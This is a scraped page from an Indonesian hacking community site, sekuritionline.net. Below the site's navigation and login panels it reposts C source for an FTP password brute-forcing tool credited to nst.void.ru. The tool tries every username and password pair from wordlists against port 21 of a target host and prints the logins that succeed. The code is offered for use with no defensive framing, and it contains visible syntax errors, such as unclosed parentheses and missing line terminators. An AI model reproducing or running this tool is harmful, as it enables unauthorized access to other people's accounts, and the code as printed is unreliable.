www.sekuritionline.net
-= Home =- -= Contact =- -= Register =- -= Manifesto =- -= Forum =- -= Baju SO =- -= FreeMail =-
T-Shirt S-O
Baju-SO
Login Panel
Username:
Password:
Remember Me

Not registered?
Register now!

Forgot your password?
FreeMail
Email Login :
Password :
New users
sign up!!!
powered by Everyone.net
Users Online
Online Now: 4
0 Members | 4 Guests
Our IRC Channel
IRC Channel:
#sekuritionline

IRC Nettwork:
irc.dal.net

Connect to channel
Banner Motd
sekuritionline.net



 
 
Bangga mendukung terlaksananya idsecconf 2008
Linker kami
Copy & paste Coding Dibawah ini
Untuk Banner kami
==================================
<a href="http://www.sekuritionline.net/"
target="_blank"><img src=
"http://www.sekuritionline.net/
banner/banner.gif" width="125" height="75"
alt="sekuritionline.net" title="SO-Te@m"
border="0" /></a>
Best View

Best View : 1024 x 768

IP

Page Ranking Tool
Simple Counter
2946
Exploits

--------------------------------

Info

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Untuk artikel yang memang membutuhkan gambar / foto sekiranya rekan-rekan dapat
mengirim artikel memakai file berbentuk .ZIP atau .RAR dan di email ke artikel@sekuritionline.net
Perhatian Pengiriman Artikel diharuskan melakukan Registrasi terlebih dahulu....
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
New !!! dapatkan FreeMail namakamu@sekuritionline.net Klik Disini


PWD
Crack

Base64
Crack

MD5
Crack

Test
Speed


Thanks : OurFamily, All Indonesian Community Underground ....

irc.dal.net #sekuritionline

SAVE PALESTINE
#So
"Dalam dunia digital aku berdiri diatas Aliran bit yang penuh dengan keindahan ,
semua diciptakan dengan perasaan tanpa beban dan tanpa paksaan ,
tidak berdiri diatas keangkuhan semata tetapi menunduk dibawah kebenaran …
"

 

Search Engine
Key Word(s): Search By:  
Current Time/Date
January 26, 2009, 6:25 pm
Articles
By cyberlog
Published: May 12, 2007
Print    Email

/*
oooo...oooo.oooooooo8.ooooooooooo
.8888o..88.888........88..888..88
.88.888o88..888oooooo.....888....
.88...8888.........888....888....
o88o....88.o88oooo888....o888o...
*********************************
**** Network security team ******
********* nst.void.ru ***********
*********************************
* Title: nsT FTP Brute Force v1.0
* Date: 09.04.2006
* Usage: ./bruteforce 127.0.0.1 users.txt passwords.txt
*********************************
*/
                   

#include <stdio.h>
#include <error.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <resolv.h>

//#define DEBUG 1

#define PORT 21

int unsigned CheckAccount (char *host, char *login, char *passwd) {
    struct sockaddr_in dest;
    char response[256];
    int sd;
   
    if ((sd = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
            perror("Create Socket";
        return 1;
    }
           
    dest.sin_family = AF_INET;
    dest.sin_port = htons(PORT);
    inet_aton(host, &dest.sin_addr);
   
    if (connect(sd, (struct sockaddr *)&dest, sizeof(dest)) != 0) {
    perror("Connect";
    return 1;
    }
   
    bzero(response, 256);
    read(sd, response, 255);
#if defined(DEBUG)
    printf("%s", response);
#endif

    bzero(response, 256);
    write(sd, "USER ", 5);
    write(sd, login, strlen(login));
    read(sd, response, 255);

#if defined(DEBUG)
    printf("%s", response);
#endif

    bzero(response, 256);
    write(sd, "PASS ", 5);
    write(sd, passwd, strlen(passwd));
    read(sd, response, 255);

#if defined(DEBUG)
    printf("%s\n", response);
#endif

    write(sd, "quit\r\n", 6);
    close(sd);
   
    if (!strncmp(response, "230", 3)) {
        return 0;
    }

    return 1;
}


int main (int argc, char **argv) {
    FILE *fdpwd, *fdlgn;
    char login[255], passwd[255];

    if (argc < 4) {
    printf("/-------------  FTP BrutForce  -------------\\\n";
    printf(" [ Network Security Team ]\n";
    printf(" ./bruteforce <ipaddr> <users> <passwords> \n";
    printf("\\-------------   nst.void.ru   -------------/\n";
   
    return 1;
    }
   
   
    if (!(fdlgn = fopen(argv[2], "r") || !(fdpwd = fopen(argv[3], "r")) {
    perror(argv[0]);
    return 1;
    }
   
    while (fgets(login, 255, fdlgn)) {
        while (fgets(passwd, 255, fdpwd)) {
          if (!CheckAccount(argv[1], login, passwd))
            printf("login: %spasswd: %s\n", login, passwd);
        }
    fseek(fdpwd, 0, SEEK_SET);
    }
    fclose(fdpwd);
    fclose(fdlgn);
   
    return 0;
}



View Comments (0)